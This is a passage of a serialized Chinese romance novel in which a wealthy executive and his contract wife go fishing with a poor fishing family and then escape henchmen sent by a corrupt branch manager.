“这里的情人崖有个传说,说是情侣在这里看着月亮接吻的话,就一定能白头偕老。之前好多游客都慕名而来呢,都是一男一女,我跟弟弟总是去偷看……”
第七十章 别提其他男人
向晚刚一出船舱,珍珠爸爸就看到了他。
他脸上洋溢着灿烂地笑容,看起来跟昨天那个一脸愁苦的样子判若两人。
他笑呵呵的跟向晚打招呼:“醒啦!”
向晚注意到了他说话的停顿,他应该一开始是想叫“邵太太”的,但是最终还是没有叫出口,去了称呼,直接说了句“醒了”。
向晚也笑着点头:“早啊。”
邵寂野正在忙活着收网,他应该是刚学会,十分不熟练,渔网被拉的歪歪斜斜的,半天都收不上来。
他余光里看到了向晚,似乎是觉得自己在她面前有些丢面子,于是更用力了。
可是越努力越艰难,最后脖子上的青筋都暴起来了,忙得一头大汗。
珍珠爸爸过去搭了把手:“这样用力不对的,早上海水涨潮,你要顺着潮汐的方向……”
有了珍珠爸爸的帮忙,渔网很快就被收起来了。
邵寂野双手都是水,用小臂随意抹了一下额头上的汗,“怎么不多睡会儿?”
“睡饱了。”
邵寂野吐槽她:“以前在家里的时候每次你都睡得跟小猪似的,打雷都叫不醒你。”
这话是当着珍珠爸爸的面说的,向晚顿时微微有些脸红:“我哪有。”
“你哪次没有?”
“你、你别乱说。”
邵寂野把渔网放好,笑呵呵的,明显心情不错:“昨晚的月亮那么漂亮,还没看一会儿呢你就睡过去了,真是,暴殄天物。”
向晚想起刚刚小珍珠说的话,心里微微有些异样地触动。
“你知道这里的传说吗?”
邵寂野忙着下第二次网,没听清她的话:“什么传说?”
“没有,没事了。你是在捕鱼吗?有鱼没有?”
邵寂野指了指脚下的一个水桶,说:“这里靠岸太近,没什么好鱼,就这一个小鱼苗,太小了,一会儿放生。”
向晚想过去看看,刚迈了一步,邵寂野抬了抬手让她停下:“这里不干净,别把你脚弄脏了,等下。”
渔船的甲板,要放鱼获,要放渔网,湿哒哒黏糊糊的,还有点粘鞋底。
而且底部还飘着一层腥臭的泥水。
向晚脚上穿着的还是单鞋,要是踩上去一下子就得湿了。
再去看邵寂野,他已经走了过来,在她面前站定,拉着她的手臂圈在了自己的脖子后方,然后用手扶着她的腰:“你踩我脚上,我带你过去。”
向晚顿时把手放了下来。
“那我不过去了。”
邵寂野扬眉:“不想过去看了?”
向晚看向了他脚上的鞋。
他虽然穿着便宜的某夕夕T恤衫,但鞋子没换,依旧是名牌。
只是那双售价几十万的限量款球鞋现在已经脏的不成样子,已经看不出来本来面目了,而且全都湿透了,估计鞋子里面也进了水。
邵寂野注意到了她的视线,满不在乎道:“一双鞋而已,没事,你踩。”
向晚还是有些打退堂鼓,“算了,我不看了。”
邵寂野直接强行箍着她的腰把她抱了起来,然后把人稳稳地放在自己的脚上。
“站稳了啊,跟我一起走,先抬左脚。”
向晚现在整个人都在他的怀里,压根无法挣脱,只能配合着他的动作迈步。
邵寂野的每一步踩下去,鞋子里都会涌出一团脏水,发出咕叽咕叽的声音。
而向晚稳稳踩着他的鞋,单鞋干干净净的,一点都没湿。
珍珠爸爸在旁边看的啧啧称奇:“你们两个像是在跳交谊舞。”
邵寂野笑开:“是吗?好看吗?”
“好看!”珍珠爸爸竖起了大拇指:“真美。”
邵寂野低下头,在向晚耳边说:“听见没,人家夸你美呢。”
向晚身上依旧是那条浅蓝色的裙子,早上的海风有些大,把她的裙摆吹得高高飞扬起来。
还好是波西米亚长裙,虽然飞了起来,但丝毫没有走光的风险,只是裙摆在空中像是一面浅蓝色的旗帜,连带着她的发丝也飘逸起来。
海平面的尽头,水天相接,半个太阳隐匿在海水中,只露出了一个头,像是调皮的孩子在玩捉迷藏。
天边的云彩都被染上了金红色的烟
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霞,看上去壮丽又温暖。
“真的好美啊,”向晚看着远处:“我好像从来还没有在海边看过日出。”
邵寂野有些惊喜:“真的吗?从来没有过?”
“嗯。”
“那你多看一会儿,我陪你。”
他右手圈着她的细腰,防止她掉下去,左手握着船舷边的栏杆,整个人高大又舒展。
向晚整个人都像是挂在他脖子上,两个人紧紧地贴着,她能感受到从他身上传来的炙热温度。
“那个……你们想出海去捕鱼吗?”珍珠爸爸搓着手,有些不好意思地说:“我们家船可以开出去的,就是……你们付一下汽油的钱就可以。”
邵寂野问她:“想去吗?”
向晚抬起头来看他,“你不办正事了?”
还出海捕鱼,说好的半个月内要处理完F市分公司的事呢?
他们这都来了三天了,连程康的面都没见上呢。
“急什么,劳逸结合。”
邵寂野对珍珠爸爸说:“我不太清楚渔船的耗油量,出海一天五千块够吗?”
珍珠爸爸吓了一跳:“够了够了,用不掉的,两百块就够了。”
邵寂野当没听到,只是笑着说:“那出发吧。”
珍珠爸爸连忙离开了甲板,去岸上把两个孩子叫了上来,然后去开船。
渔船缓缓驶离岸边,向大海深处开去。
向晚问他:“你是不是又在暗中做什么事?”
由于两个人现在的的姿势,她说话的时候,热气刚好喷在他的喉结上。
邵寂野觉得脖子有点痒,他微微清了清嗓子,“昨晚我可什么都没干啊。”
“我不是说这个,”向晚微微羞恼:“我是说程康的事,你是不是让楚卫去做什么了?”
邵寂野笑的眉眼弯弯:“今天就是带你出来玩的,别提其他男人。”
“楚卫也算其他男人?邵先生,你这有点不讲道理了啊。”
“邵太太,楚卫难道不是男人吗?”
看他吊儿郎当的态度,向晚就知道他肯定另有安排,而且一切都在按照他的计划推进。
第七十一章 假夫妻和真情侣
邵寂野不是个中规中矩继承家业的富家子弟,他有野心,有魄力,也有长远的眼光,绝对不可能一直让这些公司的蠹虫们一直存在。
这些人为邵氏奉献了青春和热血不假,邵寂野或许会给他们很优厚的分红,但公司的决策权,必须要在他手里。
这也不仅仅是他跟邵老太太之间的祖孙博弈,而是公司能够走向何方的公事。
平心而论,向晚觉得邵寂野虽然在男女问题上渣了点,但也算情有可原。
毕竟什么都没有命重要。
他能救下白荷一次,但不一定每次都能救下她。
邵老太太和谭家,不管哪一个对白荷出手她会都很危险。
他不敢拿白荷的命去赌,所以只能把自己变成一个浪子。
“你干什么用这副眼光看我?”邵寂野微微不满:“你好像在同情我。”
向晚别开脸去,看着微光琳琳的海面:“没有,你看错了。”
“我没看错,你刚刚那个眼神好像看流浪狗似的。”
向晚扬眉,带着些揶揄:“你承认自己是狗喽?”
邵寂野磨牙霍霍,低头不轻不重地在她脸上咬了一口。
向晚吓了一跳:“你干什么?”
“狗会咬人,你不知道?”
向晚想要伸手揉揉自己的脸,可是稍微一松手整个人就往后倒,吓得她赶紧又抱住了邵寂野的脖子。
他闷闷的笑:“只有这种时候你才是最乖的。”
向晚觉得有些不服气:“嫁给你这三年我什么时候不乖了?”
“你那是对奶奶,奶奶怎么想要什么你都摸的透透的,做事一桩桩一件件都非常合她的心意。”
向晚也知道,之前她总是想着在这对祖孙之间找个平衡。
但她内心里肯定还是倾向邵老太太多一些的。
邵寂野年轻,正值壮年,他有更多的选择,但邵老太太只能选她。
邵寂野柔声说道:“你这样选也没错。”
向晚抬起头看他。
“毕竟……”
“毕竟什么?”
“毕竟你也别无选择。”
他目光悠远,看着远方,渔船在大海中缓缓航行,渐渐已经看不到岸边了。
太阳晒在身上,暖融融的。
向晚突然觉得,掌下他的皮肤微微有些烫。
她又摸了摸他的额头。
果然体温有些高。
“你好像发烧了,要不我们回去吧,回城市里,找个医院或者买点药。”
邵寂野否决了:“在这里多待两天吧。”
“你生病了。”
“这样的日子,回去了恐怕就再也没有了。”
向晚不明白他在说什么。
想了想,大概是他这些年一直连轴转,想享受几天假期吧。
好在他体温只是微微高了一些,不算太烫。
渔船大概开了半小时,到达了一片指定海域。
这里除了他们之外,还有其他几艘渔船。
珍珠爸爸从船舱里走了出来,用本地方言跟其他渔船上的朋友打招呼。
邵寂野听不太懂,“他们也是村子里的人么?”
珍珠爸爸解释说:“是的,他们船上也有客人,都是带客人出海来玩的。”
向晚观察了一下,目之所及大概有三艘船,有一对年轻女孩,应该是闺蜜一起出游,还有一个脖子上挂着照相机的男大学生,最后还有一对应该是情侣。
不过两人应该是在闹别扭,女孩正在哭,男孩满脸歉疚。
开船的船主尴尬的站在一旁,劝也不好劝,只能无措地搓手。
珍珠爸爸跟船主交谈了一会儿,解释给他们听:“那是来度蜜月的,昨晚找情人崖一直没找到,女孩就生了气,今天出海也没什么玩的,我们这种渔船卫生条件差,弄脏了女孩的鞋子,两个人就吵了起来。”
听到这边的动静,女孩也看了过来。
当看清楚邵寂野抱着向晚站在自己脚上的时候,怒意达到了顶峰
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:“你看看人家怎么对女朋友的,再看看你!”
男孩明显因为刚刚的争吵也窝着火:“那你去嫁给他好了!”
“嫁就嫁!谁怕谁!”
女孩堵着一口气,直接邵寂野喊话:“帅哥,我们两个谈恋爱吧!”
邵寂野挑眉,“美女,你别害我啊,我家这个脾气可不好,晚上回去跪榴莲算谁的?”
女孩被拒绝了,有些丢面子,恨恨跺了跺脚。
男孩还在添油加醋:“死心了吧?人家看不上你!人家女朋友长那么漂亮,怎么可能选你。”
女孩顿时惊怒交加,指着向晚说道:“你觉得她好看?你当着我的面看别的女人!?”
“我看美女怎么了?你刚刚不是也一直跟我说,她男朋友好帅。怎么,就许你看帅哥,不许我看美女?”
“你混蛋!我们分手!”
“分就分!”
女孩恨恨的回了船舱里,留下男孩一个人站在甲板上,点燃一支烟抽的凶猛。
邵寂野微微低下头,在她耳边问她:“能不能别这么招人?”
向晚:“?”
邵寂野的目光滑向了她裸露在外的肩头。
她脖颈纤长,皮肤白皙,锁骨小巧精致,很适合穿吊带的衣服。
两艘船之间其实还有些距离,但皮肤白加上身材好,确实很吸睛。
邵寂野又开始磨牙了。
他用力一按,把人紧紧按在自己的怀里,“以后在外面别穿这种衣服。”
向晚无语:“如果我没记错的话,这条裙子是你给我买的。”
“那就以后在家里穿。”
“长裙诶,在家里穿?当睡裙吗?”
“也不是不行。”
向晚没好气地说:“邵总,我得提醒你一下,我们是假夫妻,人家才是真情侣,男朋友管女朋友还能理解,你管**什么?”
邵寂野的眼神暗了暗。
他避开她的目光,看向海面:“我知道,不用提醒我。”
第七十二章 邵太太,今天怎么这么可爱?
察觉到他的语气有些冷了,向晚知道他应该是有点生气了。
鉴于自己还得站在人家脚上,她选择沉默,不再说话。
邵寂野的脾气其实也不算太难相处,他其实骨子里是很骄傲的一个人,对自己有绝对的自信,但也不是听不进去其他人的话。
生气的时候喜欢阴阳怪气说反话,但向晚知道,他真正动怒的时候,反而是不愿意说话的。
往往这个时候,劝说,安慰,全都没有用。
就让他自己一个人待一会儿,他自己就能调节好。
太阳已经完全升起来了,大海上没有遮挡,晒的人有点睁不开眼睛。
邵寂野说:“我们进船舱吧,紫外线太强,别晒伤了。”
向晚点了点头。
这次,不用邵寂野提醒,她已经可以从他的动作和神态里分辨他的意图,先抬哪只脚,往哪个方向走。
邵寂野也配合着她的步幅,每一步并不太大,两人配合极为默契。
等回到了干燥的地面,向晚快速从他脚背上跳了下来:“这里没事啦,我可以自己走了。”
邵寂野还维持着搂着她的姿势,僵了两秒,才依依不舍的收回。
下午的时候,珍珠爸爸张罗着,叫他们出来撒网捕鱼。
邵寂野情绪不太高,向晚自己上了甲板。
她选了一处比较干净的地方站着,隔壁船的小夫妻仍旧在闹别扭,男大学生只想拍照。
小珍珠不知道从哪里窜了出来,拉着她的手撒娇:“姐姐你要钓鱼吗?可好玩了。”
渔网向晚肯定是拉不动的,钓鱼倒还算可行。
以前爸爸喜欢钓鱼,经常会带着她一起,向晚的鱼运一直不错,有时候爸爸一整天都没上来一条,向晚却收获颇丰。
不过以前都是在鱼塘里或者是河里,海钓她还完全没试过。
小珍珠让青贝去找了一根鱼竿出来,说是鱼竿,但是已经是战损版了,只能说勉强能用。
向晚熟练的挂鱼饵,抛竿,然后站在栏杆边慢悠悠地等着。
她其实没抱多大希望,大海里不能打窝,全凭运气。
可不一会儿,小珍珠就兴奋了起来:“姐姐,上鱼了!”
向晚定睛一看,鱼竿真的弯了。
她拿着鱼竿来回荡了一会儿,等鱼儿耗尽了力气,才开始手竿。
“海鲈鱼!”小珍珠拍着巴掌惊喜道:“还不小呢!”
青贝已经十分有眼色的把砧板和刀摆了过来,等鱼一拉上来,珍珠熟练地把鱼儿从钩子上取下来递给青贝,青贝小小的一团,半蹲在向晚脚边就开始处理新鲜出海的鲈鱼。
刚刚还活蹦乱跳的海鲈鱼顷刻间就变成了薄如蝉翼几乎透明的鱼片。
小珍珠已经架起了燃气炉,煮了一小锅开水。
“姐姐,鱼片用开水涮一下就可以吃了,可鲜啦!你尝尝!”
向晚手里还拿着鱼竿,干脆就这小珍珠的手吃了一口。
一入口,眼睛都亮了。
海鲈鱼清甜鲜美,没有多余的调料,只靠食材本身就足够鲜嫩。
小珍珠看她爱吃,又给她涮了几片。
向晚吃的不亦乐乎,余光里看到了还在船舱里看书的邵寂野。
她思索了一下,把鱼竿靠在了旁边,下了船舱。
邵寂野听到她来了,目光从书本上短暂地抬起来了一下,然后又回到了书本上:“不是玩的挺开心的?回来干什么。”
又开始傲娇了。
向晚虽然不太明白自己刚刚又说了什么话让这位邵先生生了闷气,但好歹是一起出来的,刚刚人家还给自己当脚垫子来着,于情于理也得过来哄哄。
她走了过去,在行军床边蹲下,目光跟他平齐。
邵寂野微微往里面挪了挪,伸手拉了她一把,语气已经缓和了许多:“坐吧,蹲着干什么。”
向晚侧坐在床边,他的手自然而然地搭在了她的腿上,轻轻捏了捏。
向晚拍了拍他的手背,柔声说道:“我刚刚钓上来一条海鲈鱼。”
“嗯,听到了。”
“你在船舱里还能听到甲板上的声音?”
邵寂野没好气道:“你们笑的那么开心,很难听不到。”
向晚无视掉他的傲娇,轻轻晃了晃他的小臂:“刚钓上来的鱼最鲜美了,上去尝尝?”
邵寂野反手抓住她的小手,略带薄茧的指尖在她掌心轻
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轻刮过:“你吃呗,下来叫**什么。”
“你不是最爱吃鱼?”
邵寂野终于放下了书,抬头看她:“你知道我爱吃鱼?”
向晚说:“上次你说过之后我就多留了点心,前几天在酒店的时候,我看你最喜欢吃那道糖醋鱼片,想着你应该挺喜欢鱼的,口味应该也喜欢酸甜口,唔,辣也喜欢。等回去了我们去吃泰国菜吧?酸甜麻辣,最适合你的口味。”
邵寂野坐直了身体,双手捧着她的脸。
向晚问道:“又干嘛呀?”
邵寂野眼睛凉凉的,唇角已经勾了起来:“邵太太,今天怎么这么可爱?”
向晚心里也在笑,他今天还挺好哄。
本以为得说破了嘴皮子他才肯纡尊降贵赏哥脸,没想到才说了两句,他的嘴角就有些压不住了。
……居然也是个大馋小子。
三十出头了人了,居然也开始有了些少年人的模样。
向晚站了起来,握住他的手又摇了摇:“走嘛,我们一起去吃,好不好?”
邵寂野几乎是一拉就起来,顺势把她抱了个满怀,揉在怀里狠狠亲了一顿:“好。”
“那我们上去?”
“等一会儿。”
“还干嘛呀?”
邵寂野俯下身在她锁骨上留下了一个红红的草莓印。
他用手指来回摩挲了两下,眼神里盛了满意:“刚那个带照相机的男的偷拍你,贼眉鼠眼的。这样就好了,这样所有人就知道你是有主的了。”
他看着自己留下的痕迹,美的不行,整个人似乎都开始冒泡泡,唇角更是压都压不住。
“走。”
本来是向晚来叫他的,离开的时候变成了邵寂野牵着她。
看着两人手拉手一起出现,小珍珠嘴甜,直接说道:“青贝你看,这就叫如胶似漆。”
青贝年纪还小,但已经懂事了,小脸儿微微红,还有些少年人的羞涩:“嗯。”
邵寂野牵着向晚走了过去,轻声问道:“你们姐弟两个说什么呢?”
“我在给弟弟讲成语呢,如胶似漆,就是姐姐和姐夫叔叔这样的,两个人黏在一起,谁也离不开谁。对不对?”
第七十三章 吃软饭的感觉……挺不错
还没等邵寂野回答,青贝直勾勾地盯着向晚锁骨上的红痕,“姐姐,你被蚊子叮了吗?”
小珍珠也凑过来,“哎呀,还挺大的,应该是一只大毒蚊子!”
向晚总不能给两个孩子科普成年人的知识,只好笑着默认了。
邵寂野倒是直接开了口:“毒不毒的不知道,大肯定是挺大的。”
向晚摇了摇他的手,冲他摇头。
两个孩子还小呢,眨巴着纯洁的大眼睛,他这是要闹哪样?
邵寂野不以为意,像是看不到她疯狂使眼色一样,拉着她就去锅子旁边坐下了。
“真钓上鱼了?”
小珍珠开心地不得了:“姐姐好厉害,没一会儿就钓上来了!”
邵寂野说:“姐姐的爸爸可是钓鱼的高手,姐姐可是深得真传的。”
向晚微微讶异。
他居然知道爸爸爱钓鱼?
邵寂野回头问她:“你吃过了?”
“嗯,尝了两片,你要尝尝吗?”
邵寂野没说话,直接伸手问珍珠要筷子。
穿上没有多余的筷子了,她刚刚用的还是珍珠找来的一次性筷子,看着像是别人叫外卖的时候送的。
青贝有些尴尬:“我们没有多余的筷子了。”
“有啊!怎么没有!”小珍珠直接把向晚用过的筷子放在了他手里,顺便教育弟弟:“你这样说客人们会不满意的,到时候不给赏钱了怎么办?”
青贝小声的争辩:“可是刚刚那双筷子姐姐用过了。”
小珍珠一脸恨铁不成钢:“他们两个嘴嘴都亲了不知道多少次了,用一双筷子怎么了?”
邵寂野噗嗤一声笑出了声。
他低头,对向晚说:“这个小姑娘,挺有意思。”
向晚皱眉轻轻拍了他一下,要不是那一晚他非要去礁石上看什么星星月亮的,也不至于让两个小朋友看到少儿不宜的画面。
他还好意思说!
“向晚,我们资助珍珠和青贝姐弟读书吧。珍珠伶俐,青贝诚恳,这两个孩子本性都不错,如果能好好学习,将来一定能成为有用的人。”
向晚一直觉得,珍珠和青贝早早就不读书了有些可惜。
可他家里情况确实特殊,爸爸要非常辛苦的劳作才能养活一家人,病重的妈妈从来就没有出过船舱,吃饭都是姐弟两个轮流去送。
如果孩子们去上学了,母亲谁照顾?
贫苦人的生活就像是一团全是死结的毛线团,解开了一个还有下一个,永远也解不完。
她现在自己都还有一堆事要做,等处理完这边的事,她就要跟秦以枫去国外生活了,国内这边难以顾及,就算一时能帮小珍珠一家,以后也是鞭长莫及。
她原本还想着,试着问一下锦绣。
锦绣将来有出息了,能不能发扬一下传帮带的精神,帮帮小珍珠。
可锦绣也有她自己的人生,向晚也不太想道德**她。
想来想去,事情也就搁置了下来。
没想到今天邵寂野主动提起。
如果是他能出手,那小珍珠家里的情况肯定会改善很多,至少姐弟两个都能回到学校了。
邵寂野问小珍珠:“你想上学吗?”
小珍珠先是惊喜地点了点头,忽而又变得很落寞,摇了摇头:“不想。”
“为什么不想?”
“我去上学了,就没人照顾妈妈了。”
邵寂野思索了一下,问道:“你爸爸几天出一次海?”
“这个季节的话,大概一个月会出去三次,每次五六天。”
邵寂野点了点头,又问道:“每次出海能挣多少钱?”
“五百上下,我爸爸不爱说话,都是是我去找档口的老板卖鱼的!”
“如果这时突然电话响了,烧的水开了,妈妈在叫你,弟弟下了海好久都没上来,收鱼的老板急吼吼的催你,再不出来就不要你家的鱼了,你会先做什么?”
小珍珠思索了一会儿,然后说:“我会先把烧水的火关掉,然后一边接电话一边去看妈妈有没有事,有事的话就挂了电话立刻打120,没事的话就听听是谁打来的电话,问他没有急事。然后再去外面招呼鱼老板,说点好话,再给他便宜一些,请他帮忙叫人去帮忙找我弟弟。”
邵寂野听完,眼神明显变得慈爱了许多。
向晚听完,也觉得十分欣慰。
邵寂野应该是想考验一下小珍珠处理事情的能力,她虽然年纪不大,但是早早就承担起了家里的事情。
好几件急事堆积的情况下,她
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还能理智的思考,从容不迫的处理,各方面都考虑的十分全面。
这对于一个孩子来说,的确是非常不易的。
邵寂野显然也很满意这样的答案,心里已经有了定论。
他拉着向晚在身边坐下,然后从滚水里涮了一片鱼:“先吃鱼。”
小珍珠回答完了,却没见邵寂野有什么表示,抓了抓头发有些懵。
向晚拉着她的小手晃了晃:“小珍珠,别担心,一切都会好起来的。”
小珍珠不明所以,但是很开心的点头:“我知道,好人有好报,老天爷一定会对我们家很好很好的。”
“嗯,你说得对。”
船舱里,珍珠爸爸在叫两个孩子。
小珍珠说:“姐姐,姐夫叔叔,我跟弟弟不打扰你们啦,你们需要什么就叫我们。”
向晚问:“是妈妈有事吗?”
小珍珠摇了摇头:“不是的,是爸爸让我们不要当电灯泡,打扰你们亲嘴嘴啦!”
两个孩子嬉闹着跑了。
向晚闹了个大红脸。
也不知道是不是本地的土话,小珍珠每次说“亲嘴嘴”的时候,她都觉得有种很难说清楚的尴尬。
邵寂野问她:“你怎么不吃?”
向晚说:“这一条鱼没多大,你吃吧,不然要饿肚子。”
“珍珠不是说会管饭的么?没有饭,鱼总能管饱吧?”
向晚叹了口气:“你还真打算**家的鱼啊?”
邵寂野有些得意的摸了摸她披散在后背上的长发:“可以啊,现在有点懂我了。”
珍珠爸爸打渔赚的钱一定是非常紧张,所以小珍珠才会去夜市上卖项链,招揽客人。
一条鱼少说也能卖个几块钱呢,就邵寂野这个食量,吃两条人家就亏本了。
邵寂野显然也是心存不忍的,轻笑着说道:“钓鱼大师,要不你再努力努力?”
向晚闻言站了起来,重新挂好了鱼饵,抛入海中。
邵寂野在后面调侃她:“你老公我今天是不是饿肚子,就看邵太太的手艺了?”
向晚轻声说:“我也没想到,自己有朝一日也能让邵总吃上软饭。”
邵寂野咂咂嘴,像是在回味刚刚那条海鲈鱼的鲜美:“吃软饭的感觉……挺不错。”
第七十四章 如果这次我能活着回去的话
回到岸边,天色已经擦黑了。
向晚今天收获不错,下午又上了两条海鲈鱼,还有一条小石斑。
不过石斑鱼太小了,估计还没上幼儿园,她直接扔回了海里。
三条鱼,邵寂野勉强吃了个半饱。
向晚想着,等靠岸了他们就回酒店,饿不着他。
可是船还没开到岸边的时候,依稀就能看到岸上有许多刺眼的光点。
那些光点还会晃动,隐隐约约还能看到人影,好多好多的人。
向晚问了小珍珠,可小珍珠也没见过这个场景,一脸茫然。
等船渐渐靠了岸,向晚终于看清了岸上的情况。
大概有五六十人,全都是人高马大的男人,穿着黑衣服带着黑墨镜,人手一把手电筒,正在岸上走来走去,似乎在找什么人。
向晚心里大概有个猜想。
之前那些鬼鬼祟祟的人影,怕只是个前站。
这些人才是正儿八经来办事的。
这个地方偏僻荒凉,远离市区,又靠近大海。
往坏处想,如果有人在这里失踪了,甚至可以神不知鬼不觉。
“来的挺快。”邵寂野也看到了外面的情况,咬着牙冷笑了一声:“看来程康的势力的确不小,在邵氏这么多年,挖了不少钱,全都用来养这帮爪牙了。”
“是程康?”
“不是他还能是谁?”邵寂野说:“可惜啊,美好的时光,总要被这群蛆虫破坏。”
向晚有些紧张:“他们到底要干什么?”
邵寂野偏头看她,扬眉:“你其实猜到了,不是吗?”
向晚有些不敢肯定自己的猜想。
她不信程康能有这么大的胆子!
“……我没有孩子,老婆娘家无权无势,家里只有一个年事已高的奶奶。如果我从这个世界上消失,谁最后可能接受邵氏集团?”
邵寂野索性把话挑明了。
“谭家尚且还要点脸面,想通过姻亲关系来分一杯羹;程康胃口更大,他全都要。”
向晚问他:“你之前一直不同意跟谭璇结婚,原来是防着谭家?”
邵寂野沉声说道:“谭璇也不见得真喜欢我。她也只是个被家族用来献祭的棋子而已,她是谭家唯一适龄的女儿,这也是她的命运。这个世界上恐怕只有奶奶觉得,谭家是真的跟她交好,两家结亲是纯纯出于两代人深厚的感情。”
经过这几天的相处,向晚对邵寂野也有了一些不一样的了解。
他并非真的是个花花公子,那些表象都只是他用来暂时逃避跟谭家结婚的借口而已。
更或许,三年前白荷的车祸,或许谭家才是幕后主谋,邵老太太或许也出了力,但最后却背了全部的锅,还跟唯一的孙子闹得祖孙失和。
如果邵寂野直接摆烂,彻底撂了挑子醉生梦死不管自己死活也不管公司死活,或许邵老太太真就强行按着他跟谭璇领证了。
就是因为看到他失去白荷后痛苦成那个样子,几乎没了人形,这才把自己带到了他面前。
说白了,这场婚姻她其实也是受益方。
结婚三年,账户里多了一千多万的资金,这利润堪比刑法里的各种足以被**的路子了。
巨额的财富会让人泯灭了人性,比如程康,比如谭家,比如二叔和二婶。
也是向家的资产规模还是小了些,二叔二婶又蠢又笨,招来的大多是骗子做局和酒肉损友。
可邵氏集团树大根深,邵寂野又明显是个精明强干的人,盯上他的人可不是二叔二婶那种低端玩家能比的。
盘踞一方三十多年,还豢养了不少打手的程康;以及一肚子精明算计的谭家,哪一个都不是好相与的。
邵寂野只有一个人,一条命。
奶奶毕竟老了,除了卢杰明和楚卫他们之外,他几乎没有任何外部助力。
小珍珠也看出来了不对劲,偷偷溜到了她身边,小声说:“姐姐,我让爸爸停船了,只要船不靠岸,那些人就上不来。我家船舱里还有一个皮筏子,你们坐那个走。青贝对这一片很熟,他在前面给你们带路,你们可以另一个地方靠岸。”
青贝已经做好了准备。
他脱掉了衣服,光着上身,只穿着一条短裤
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,身上湿漉漉的,明显是已经往身上浇了水,准备下水引路了。
向晚有些担心:“我们走了,他们会为难你们吗?”
小珍珠本来想说不会,但这样连她自己都骗不过,怎么可能骗得过聪明的姐姐和厉害的姐夫叔叔?
于是她照实说了:“邵叔叔,那些人应该是冲你来的,对吧?”
小珍珠改了称呼,应该是已经猜出来了一些。
邵寂野点头:“是。”
“邵叔叔,你说过,你跟这些坏人不是一伙的。这几天相处下来,我也看出来了,你跟姐姐都是好人,所以我相信你,我愿意赌一次。”
小珍珠小小的眼神里,透着坚毅:“我赌你逃生之后,不会不管我们,你会回来救我们的。”
珍珠爸爸从船舱里出来,小声说道:“皮筏子已经下水了,邵先生,邵太太,他们准备的很充分,我刚刚看到了他们的快艇已经下水了,你们要走就得尽快。”
青贝已经跳下了水,也在水里催促:“快点呀姐姐!不然真来不及了。”
珍珠爸爸十分严肃地对他们说:“我势单力孤,有生病的老婆,还有年幼的儿女,恐怕拖不了多久。邵先生,这次我尽全力帮你,能拖多久是多久,如果可以的话,希望你能善待我的老婆和孩子们。”
邵寂野没有任何犹豫,打横抱起了向晚,微微一托,她就翻出了小船,稳稳落在皮筏子上。
青贝在水里扶着皮筏子,“姐姐,快坐下,给叔叔腾点位置!”
向晚不敢耽搁,赶紧爬到了一边,给邵寂野让出了空间。
但邵寂野没有下来。
他又抱起了小珍珠,放在了向晚身边。
然后郑重地对青贝说:“青贝,你是个男子汉,两个女孩子我交给你了,你一定要平安把她们护送到岸上。能做到吗?”
青贝重重点头:“叔叔你放心,我一定保护好姐姐。”
向晚有些惊慌:“邵寂野,你要干什么?”
邵寂野看向她,目光柔和,“向晚,如果这次我能活着回去的话,你就不走了,行不行?”
第七十五章 他懂她的答案
他看着向晚。
向晚也看着他。
岸上的光点越来越多,向晚有些焦急:“邵寂野,你快点下来啊!”
她没有回答他的问题。
她还是不愿意。
邵寂野并没有太失落,似乎早就有这个心理准备。
“他们是冲我来的,我在这里,他们才不会去追你。”邵寂野沉声对青贝说:“小伙子,靠你了。”
青贝重重点头,然后催促道:“姐姐,我知道路,我带你走。”
他用手撑着大船,脚在皮筏子上猛地一踢,皮筏子快速离开了大船,向远处划走。
然后他又快速跳进了水里,几秒之后在在皮筏子前面浮出水面,一手拉着皮筏子,一手奋力的划水。
不远处,已经响起了轰隆隆的机器声。
应该是程康的人开的快艇。
声音越来越近。
青贝有些焦急:“不行,我们现在的速度太慢了,快艇很快就追上了!”
小珍珠当机立断也跳下了水,她的水性虽然不如青贝,但常年在渔船上长大的孩子,也差不到哪里去。
两个孩子一左一右拉着皮筏子往前划,向晚坐在上面,频频回头。
几个快艇往这边追了一点,但是似乎收到了什么指令,又返了回去。
一共七八艘快艇,把小珍珠家的渔船围住了。
夜晚光线太暗,她看不清船上发生了什么。
但依稀也能察觉到,渔船在几艘快艇的包围下慢慢靠了岸。
很快,现实就印证了她的猜想。
岸上那些手电筒的光点已经上了船。
青贝焦急道:“姐,他们上船了!”
小珍珠也看到了。
但是没办法。
妈妈重病在床,爸爸不可能离开。
也不知道他们要对爸爸妈妈做什么。
向晚问小珍珠:“想回去吗?”
小珍珠抹了一把脸上的泪:“不行,我们答应邵叔叔了,要带你走的。”
向晚定了定神,问道:“青贝,我们要从哪里上岸?”
青贝指着一个方向:“那边有一处浅滩,水深只到腰,表面上看起来都是水,但人是可以在上面走路的。我们从那里上岸,绕过一片农田就到城里了。”
“按照我们现在的速度,还有多久?”
“……不好说,晚上有点涨潮,比平时还要慢一些,至少也得一个小时。”
向晚又问:“如果是你一个人的话,大概多久?”
青贝立刻说:“那就快了,我一个人过去只要十几分钟。”
向晚点了点头。
她走得急,身上穿的又是裙子,手机没有带在身上。
但好在,小珍珠手腕上戴着电话手表。
向晚沉声说道:“青贝,珍珠,你们听我说。我用你的电话手表录制一段视频,青贝你带着它立刻去警局报案,让他们派人来这边救人。珍珠,你现在返回去,你人机灵,看看有没有法子能拖延,给青贝争取时间。”
青贝一愣:“那姐姐你怎么办?”
珍珠也有些担心:“对啊姐姐,你怎么办?”
向晚说:“他们的目标是邵叔叔,应该不会来追击我,我慢慢沿着青贝说的方向划。而且我也不是完全不会水,只是游得慢而已。”
青贝还是有些犹豫,看向了姐姐。
在这个家里,除了爸爸之外,他最信任的人就是姐姐了。
小珍珠沉思了一会儿,点头,“就按姐姐说的这么办,这是最好的安排了。”
拆下自己的电话手表递给向晚。
向晚接过来,打开了录制视频的功能。
今晚也是个圆月,月光清冷,但依稀也能看清楚她的面容。
“我叫向晚,是邵氏集团总裁邵寂野的太太。程康作为邵氏集团F市分公司的总经理,非法攫取公司巨额资金,欺压当地民众,给邵氏集团声誉带来不可挽回的损失,并且威胁邵总人身安全,请**机关立刻介入调查。”
录制完成后,向晚确认无误,把电话手表交给了青贝:“加油,用最快的速度。”
青贝重重点头,一个猛子扎进了水中。
他似乎是怕电话手表不防水,把电话手表咬在嘴里浮在水面上,双手双脚开始全力划水。
几下子就不见了踪影。
向晚回头看向小珍珠:“你害怕吗?”
小珍珠摇了摇头:“姐姐,我会想办法拖时间的。”
“你首先要做的,是保护好自己,”向晚摸了摸她的脸:“如果实在情况不妙,该跑的时候就
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跑,你身量小,水性又好,对附近地形又熟悉,先找个隐蔽的地方躲起来,知道吗?”
小珍珠明白她的意思。
